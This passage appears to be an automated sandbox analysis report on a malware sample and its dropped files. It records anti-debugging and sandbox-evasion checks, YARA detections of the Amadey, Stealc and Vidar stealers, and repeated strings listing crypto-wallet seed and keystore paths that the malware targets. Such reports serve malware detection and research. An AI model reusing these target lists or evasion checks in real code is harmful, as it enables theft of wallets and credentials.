Source: EGDBAFHJ.0.dr	Binary or memory string: interactivebrokers.co.inVMware20,11696428655d
Source: EGDBAFHJ.0.dr	Binary or memory string: Interactive Brokers - COM.HKVMware20,11696428655
Source: skotes.exe, 00000019.00000002.3347416746.0000000000FB9000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW0
Source: EGDBAFHJ.0.dr	Binary or memory string: global block list test formVMware20,11696428655
Source: EGDBAFHJ.0.dr	Binary or memory string: Canara Transaction PasswordVMware20,11696428655}
Source: file.exe, 00000000.00000002.2522496997.00000000013C2000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2522496997.00000000013F3000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000019.00000002.3347416746.0000000000FEB000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: EGDBAFHJ.0.dr	Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696428655
Source: EGDBAFHJ.0.dr	Binary or memory string: Canara Change Transaction PasswordVMware20,11696428655^
Source: EGDBAFHJ.0.dr	Binary or memory string: account.microsoft.com/profileVMware20,11696428655u
Source: EGDBAFHJ.0.dr	Binary or memory string: secure.bankofamerica.comVMware20,11696428655\|UE
Source: EGDBAFHJ.0.dr	Binary or memory string: www.interactivebrokers.comVMware20,11696428655}
Source: EGDBAFHJ.0.dr	Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696428655p
Source: EGDBAFHJ.0.dr	Binary or memory string: Interactive Brokers - EU WestVMware20,11696428655n
Source: EGDBAFHJ.0.dr	Binary or memory string: outlook.office365.comVMware20,11696428655t
Source: EGDBAFHJ.0.dr	Binary or memory string: microsoft.visualstudio.comVMware20,11696428655x
Source: EGDBAFHJ.0.dr	Binary or memory string: Canara Change Transaction PasswordVMware20,11696428655
Source: EGDBAFHJ.0.dr	Binary or memory string: outlook.office.comVMware20,11696428655s
Source: EGDBAFHJ.0.dr	Binary or memory string: www.interactivebrokers.co.inVMware20,11696428655~
Source: EGDBAFHJ.0.dr	Binary or memory string: ms.portal.azure.comVMware20,11696428655
Source: EGDBAFHJ.0.dr	Binary or memory string: AMC password management pageVMware20,11696428655
Source: EGDBAFHJ.0.dr	Binary or memory string: tasks.office.comVMware20,11696428655o
Source: EGDBAFHJ.0.dr	Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696428655z
Source: EGDBAFHJ.0.dr	Binary or memory string: turbotax.intuit.comVMware20,11696428655t
Source: EGDBAFHJ.0.dr	Binary or memory string: interactivebrokers.comVMware20,11696428655
Source: EGDBAFHJ.0.dr	Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696428655
Source: EGDBAFHJ.0.dr	Binary or memory string: dev.azure.comVMware20,11696428655j
Source: EGDBAFHJ.0.dr	Binary or memory string: netportal.hdfcbank.comVMware20,11696428655
Source: file.exe, 00000000.00000002.2522496997.000000000137E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMware
Source: EGDBAFHJ.0.dr	Binary or memory string: Interactive Brokers - HKVMware20,11696428655]
Source: EGDBAFHJ.0.dr	Binary or memory string: bankofamerica.comVMware20,11696428655x
Source: file.exe, 00000000.00000002.2519545021.0000000000C81000.00000040.00000001.01000000.00000003.sdmp, DocumentsDBAAFIDGDA.exe, 00000015.00000002.2578980378.0000000000E47000.00000040.00000001.01000000.0000000B.sdmp, skotes.exe, 00000016.00000002.2619665705.00000000009A7000.00000040.00000001.01000000.0000000D.sdmp, skotes.exe, 00000017.00000002.2634701006.00000000009A7000.00000040.00000001.01000000.0000000D.sdmp, skotes.exe, 00000019.00000002.3344250067.00000000009A7000.00000040.00000001.01000000.0000000D.sdmp	Binary or memory string: Restart now?\\.\Oreans.vxd%s\Oreans.vxdXprotEventHARDWARE\ACPI\DSDT\VBOX__SeShutdownPrivilegeSoftware\WinLicenseCreateEvent API Error while extraction the driverGetEnvironmentVariable API Error while extraction the driverOpenSCManager API Error while extraction the driverCreateService API Error while extraction the driverCloseServiceHandle API Error while extraction the driverOpenService API Error while extraction the driverStartService API Error while extraction the driverAPIC error: Cannot find Processors Control Blocks. Please,
Source: file.exe, 00000000.00000002.2522496997.00000000013F3000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW@
Source: EGDBAFHJ.0.dr	Binary or memory string: trackpan.utiitsl.comVMware20,11696428655h
Source: EGDBAFHJ.0.dr	Binary or memory string: Test URL for global passwords blocklistVMware20,11696428655

Source: C:\Users\user\Desktop\file.exe

System information queried: ModuleInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Hides threads from debuggers

Source: C:\Users\user\Desktop\file.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\DocumentsDBAAFIDGDA.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger

Tries to detect sandboxes and other dynamic analysis tools (window names)

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Open window title or class name: regmonclass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Open window title or class name: gbdyllo
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Open window title or class name: procmon_window_class
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Open window title or class name: ollydbg
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Open window title or class name: filemonclass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Open window title or class name: file monitor - sysinternals: www.sysinternals.com

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: NTICE
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: SICE
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: SIWVID

Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\DocumentsDBAAFIDGDA.exe	Process queried: DebugPort
Source: C:\Users\user\DocumentsDBAAFIDGDA.exe	Process queried: DebugPort
Source: C:\Users\user\DocumentsDBAAFIDGDA.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort

Source: C:\Users\user\DocumentsDBAAFIDGDA.exe

Code function: 21_2_054A0C5D rdtsc

21_2_054A0C5D

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C6B5FF0 IsDebuggerPresent,??0PrintfTarget@mozilla@@IAE@XZ,?vprint@PrintfTarget@mozilla@@QAE_NPBDPAD@Z,OutputDebugStringA,__acrt_iob_func,_fileno,_dup,_fdopen,__stdio_common_vfprintf,fclose,

0_2_6C6B5FF0

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C6BC410 LoadLibraryW,GetProcAddress,FreeLibrary,

0_2_6C6BC410

Source: C:\Users\user\DocumentsDBAAFIDGDA.exe	Code function: 21_2_00C8652B mov eax, dword ptr fs:[00000030h]	21_2_00C8652B
Source: C:\Users\user\DocumentsDBAAFIDGDA.exe	Code function: 21_2_00C8A302 mov eax, dword ptr fs:[00000030h]	21_2_00C8A302
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 22_2_007EA302 mov eax, dword ptr fs:[00000030h]	22_2_007EA302
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 22_2_007E652B mov eax, dword ptr fs:[00000030h]	22_2_007E652B
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 23_2_007EA302 mov eax, dword ptr fs:[00000030h]	23_2_007EA302
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 23_2_007E652B mov eax, dword ptr fs:[00000030h]	23_2_007E652B

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C68B66C SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,		0_2_6C68B66C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C68B1F7 IsProcessorFeaturePresent,memset,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,		0_2_6C68B1F7

Source: C:\Users\user\Desktop\file.exe

Memory protected: page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Yara detected Powershell download and execute

Source: Yara match

File source: Process Memory Space: file.exe PID: 2128, type: MEMORYSTR

Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\DocumentsDBAAFIDGDA.exe"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\DocumentsDBAAFIDGDA.exe "C:\Users\user\DocumentsDBAAFIDGDA.exe"
Source: C:\Users\user\DocumentsDBAAFIDGDA.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"

Source: file.exe, file.exe, 00000000.00000002.2519545021.0000000000C81000.00000040.00000001.01000000.00000003.sdmp

Binary or memory string: SProgram Manager

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C68B341 cpuid

0_2_6C68B341

Source: C:\Users\user\Desktop\file.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0			Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe VolumeInformation

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C6535A0 ?Startup@TimeStamp@mozilla@@SAXXZ,InitializeCriticalSectionAndSpinCount,getenv,QueryPerformanceFrequency,_strnicmp,GetSystemTimeAdjustment,__aulldiv,QueryPerformanceCounter,EnterCriticalSection,LeaveCriticalSection,QueryPerformanceCounter,EnterCriticalSection,LeaveCriticalSection,__aulldiv,strcmp,strcmp,_strnicmp,

0_2_6C6535A0

Stealing of Sensitive Information

Yara detected Amadeys stealer DLL

Source: Yara match	File source: 21.2.DocumentsDBAAFIDGDA.exe.c50000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 23.2.skotes.exe.7b0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 25.2.skotes.exe.7b0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 22.2.skotes.exe.7b0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000016.00000002.2619281872.00000000007B1000.00000040.00000001.01000000.0000000D.sdmp, type: MEMORY
Source: Yara match	File source: 00000017.00000002.2633397436.00000000007B1000.00000040.00000001.01000000.0000000D.sdmp, type: MEMORY
Source: Yara match	File source: 00000019.00000002.3343411287.00000000007B1000.00000040.00000001.01000000.0000000D.sdmp, type: MEMORY
Source: Yara match	File source: 00000015.00000002.2575163475.0000000000C51000.00000040.00000001.01000000.0000000B.sdmp, type: MEMORY

Yara detected Stealc

Source: Yara match	File source: 00000000.00000003.2121691323.0000000005270000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2518469068.00000000008B1000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2522496997.000000000137E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 2128, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Yara detected Vidar stealer

Source: Yara match

File source: Process Memory Space: file.exe PID: 2128, type: MEMORYSTR

Found many strings related to Crypto-Wallets (likely being stolen)

Source: file.exe, 00000000.00000002.2518469068.000000000097C000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.2518469068.000000000097C000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.2518469068.000000000097C000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.2518469068.000000000097C000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.2518469068.000000000097C000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.2518469068.000000000097C000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.2518469068.000000000097C000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local 